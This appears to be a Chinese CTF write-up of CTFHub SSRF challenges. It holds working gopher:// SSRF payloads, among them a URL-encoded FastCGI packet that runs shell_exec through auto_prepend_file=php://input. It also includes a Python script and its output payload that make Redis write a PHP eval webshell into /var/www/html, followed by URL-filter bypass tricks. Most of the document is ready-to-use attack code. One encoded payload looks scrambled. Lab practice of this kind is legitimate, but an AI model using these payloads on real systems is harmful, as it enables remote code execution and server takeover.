%01%01%A7%63%00%08%00%00%00%01%00%00%00%00%00%00%01%04%A7%63%01%E7%00%00%0E%02%43%4F%4E%54%45%4E%54%5F%4C%45%4E%47%54%48%33%39%0C%10%43%4F%4E%54%45%4E%54%5F%54%59%50%45%61%70%70%6C%69%63%61%74%69%6F%6E%2F%74%65%78%74%0B%04%52%45%4D%4F%54%45%5F%50%4F%52%54%39%39%38%35%0B%09%53%45%52%56%45%52%5F%4E%41%4D%45%6C%6F%63%61%6C%68%6F%73%74%11%0B%47%41%54%45%57%41%59%5F%49%4E%54%45%52%46%41%43%45%46%61%73%74%43%47%49%2F%31%2E%30%0F%0E%53%45%52%56%45%52%5F%53%4F%46%54%57%41%52%45%70%68%70%2F%66%63%67%69%63%6C%69%65%6E%74%0B%09%52%45%4D%4F%54%45%5F%41%44%44%52%31%32%37%2E%30%2E%30%2E%31%0F%1B%53%43%52%49%50%54%5F%46%49%4C%45%4E%41%4D%45%2F%75%73%72%2F%6C%6F%63%61%6C%2F%6C%69%62%2F%70%68%70%2F%50%45%41%52%2E%70%68%70%0B%1B%53%43%52%49%50%54%5F%4E%41%4D%45%2F%75%73%72%2F%6C%6F%63%61%6C%2F%6C%69%62%2F%70%68%70%2F%50%45%41%52%2E%70%68%70%09%1F%50%48%50%5F%56%41%4C%55%45%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%20%3D%20%70%68%70%3A%2F%2F%69%6E%70%75%74%0E%04%52%45%51%55%45%53%54%5F%4D%45%54%48%4F%44%50%4F%53%54%0B%02%53%45%52%56%45%52%5F%50%4F%52%54%38%30%0F%08%53%45%52%56%45%52%5F%50%52%4F%54%4F%43%4F%4C%48%54%54%50%2F%31%2E%31%0C%00%51%55%45%52%59%5F%53%54%52%49%4E%47%0F%16%50%48%50%5F%41%44%4D%49%4E%5F%56%41%4C%55%45%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%20%3D%20%4F%6E%0D%01%44%4F%43%55%4D%45%4E%54%5F%52%4F%4F%54%2F%0B%09%53%45%52%56%45%52%5F%41%44%44%52%31%32%37%2E%30%2E%30%2E%31%0B%1B%52%45%51%55%45%53%54%5F%55%52%49%2F%75%73%72%2F%6C%6F%63%61%6C%2F%6C%69%62%2F%70%68%70%2F%50%45%41%52%2E%70%68%70%01%04%A7%63%00%00%00%00%01%05%A7%63%00%27%00%00%3C%3F%70%68%70%20%76%61%72%5F%64%75%6D%70%28%73%68%65%6C%6C%5F%65%78%65%63%28%27%63%61%74%20%2F%27%29%29%3B%20%3F%3E%01%05%A7%63%00%00%00%00
把上面得到的结果再进行一次url编码
payload:
?url=gopher://127.0.0.1:9000/_%2501%2501%25d5%25d0%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2500%2504%2501%25d5%25d0%25e7%2501%2500%2500%2502%250e%254f%2543%2554%254e%254e%2545%255f%2554%2545%254c%2547%254e%2548%2554%2538%2533%2510%250c%254f%2543%2554%254e%254e%2545%255f%2554%2559%2554%2545%2550%2570%2561%256c%2570%2563%2569%2574%2561%256f%2569%252f%256e%2565%2574%2574%2578%2504%250b%2545%2552%254f%254d%2545%2554%2550%255f%2552%254f%2539%2554%2538%2539%250b%2535%2553%2509%2552%2545%2545%2556%255f%2552%2541%254e%2545%254d%256f%256c%2561%2563%2568%256c%2573%256f%2511%2574%2547%250b%2554%2541%2557%2545%2559%2541%2549%255f%2554%254e%2552%2545%2541%2546%2545%2543%2561%2546%2574%2573%2547%2543%252f%2549%252e%2531%250f%2530%2553%250e%2552%2545%2545%2556%255f%2552%254f%2553%2554%2546%2541%2557%2545%2552%2568%2570%252f%2570%2563%2566%2569%2567%256c%2563%2565%2569%2574%256e%2509%250b%2545%2552%254f%254d%2545%2554%2541%255f%2544%2544%2531%2552%2537%2532%2530%252e%2530%252e%2531%252e%251b%250f%2543%2553%2549%2552%2554%2550%2546%255f%254c%2549%254e%2545%254d%2541%252f%2545%2573%2575%252f%2572%256f%256c%2561%2563%252f%256c%2569%256c%252f%2562%2568%2570%252f%2570%2545%2550%2552%2541%2570%252e%2570%2568%251b%250b%2543%2553%2549%2552%2554%2550%254e%255f%254d%2541%252f%2545%2573%2575%252f%2572%256f%256c%2561%2563%252f%256c%2569%256c%252f%2562%2568%2570%252f%2570%2545%2550%2552%2541%2570%252e%2570%2568%251f%2509%2548%2550%255f%2550%2541%2556%2555%254c%2561%2545%2574%2575%255f%256f%2572%2570%2570%2565%256e%2565%255f%2564%2569%2566%2565%256c%253d%2520%2570%2520%2570%2568%252f%253a%2569%252f%2570%256e%2574%2575%2504%250e%2545%2552%2555%2551%2553%2545%255f%2554%2545%254d%2548%2554%2544%254f%254f%2550%2554%2553%2502%250b%2545%2553%2556%2552%2552%2545%2550%255f%2552%254f%2538%2554%250f%2530%2553%2508%2552%2545%2545%2556%255f%2552%2552%2550%2554%254f%2543%254f%254c%254f%2554%2548%2550%2554%2531%252f%2531%252e%2500%250c%2555%2551%2552%2545%255f%2559%2554%2553%2549%2552%2547%254e%2516%250f%2548%2550%255f%2550%2544%2541%2549%254d%255f%254e%2541%2556%2555%254c%2561%2545%256c%256c%2577%256f%2575%255f%256c%2572%2569%255f%2563%256e%2575%256c%2565%2564%253d%2520%254f%2520%250d%256e%2544%2501%2543%254f%254d%2555%254e%2545%255f%2554%254f%2552%2554%254f%250b%252f%2553%2509%2552%2545%2545%2556%255f%2552%2544%2541%2552%2544%2532%2531%252e%2537%252e%2530%252e%2530%250b%2531%2552%251b%2551%2545%2545%2555%2554%2553%2555%255f%2549%2552%2575%252f%2572%2573%256c%252f%2563%256f%256c%2561%256c%252f%2562%2569%2570%252f%2570%2568%2550%252f%2541%2545%252e%2552%2568%2570%2501%2570%25d0%2504%2500%25d5%2500%2500%2501%2500%25d0%2505%2500%25d5%2500%2526%253c%2500%2570%253f%2570%2568%2576%2520%2572%2561%2564%255f%256d%2575%2528%2570%2568%2573%256c%2565%255f%256c%2578%2565%2563%2565%2527%2528%2573%256c%252f%2520%2529%2527%253b%2529%253f%2520%2501%253e%25d0%2505%2500%25d5%2500%2500%2500%2500
python exp.py -c "" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php
这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!
Redis配置详解
浅析Redis中SSRF的利用
Redis在SSRF中的应用
利用redis写文件,然后命令执行
利用如下脚本跑出来的payload,要再进行一次url加密
import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print (payload)
payload:
gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B%2522cmd%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%0A
1.利用问好绕过限制url=https://www.baidu.com?www.xxxx.me
2.利用@绕过限制url=https://[email protected]
3.利用斜杠反斜杠绕过限制
4.利用#绕过限制url=https://www.baidu.com#www.xxxx.me
5.利用子域名绕过
6.利用畸形url绕过
7.利用跳转ip绕过
http://[email protected]/与http://192.168.0.1请求的都是192.168.0.1的内容。
因此这个题目要求url must startwith “http://notfound.ctfhub.com”
我们直接构造?url=http://[email protected]/flag.php
成功得到flag。
这个题目过滤了127/172
将127转换为16进制0x7f即可绕过
或者127.0.0.1—>localhost
可能题目有问题直接访问出flag
http://www.dnslog.cn/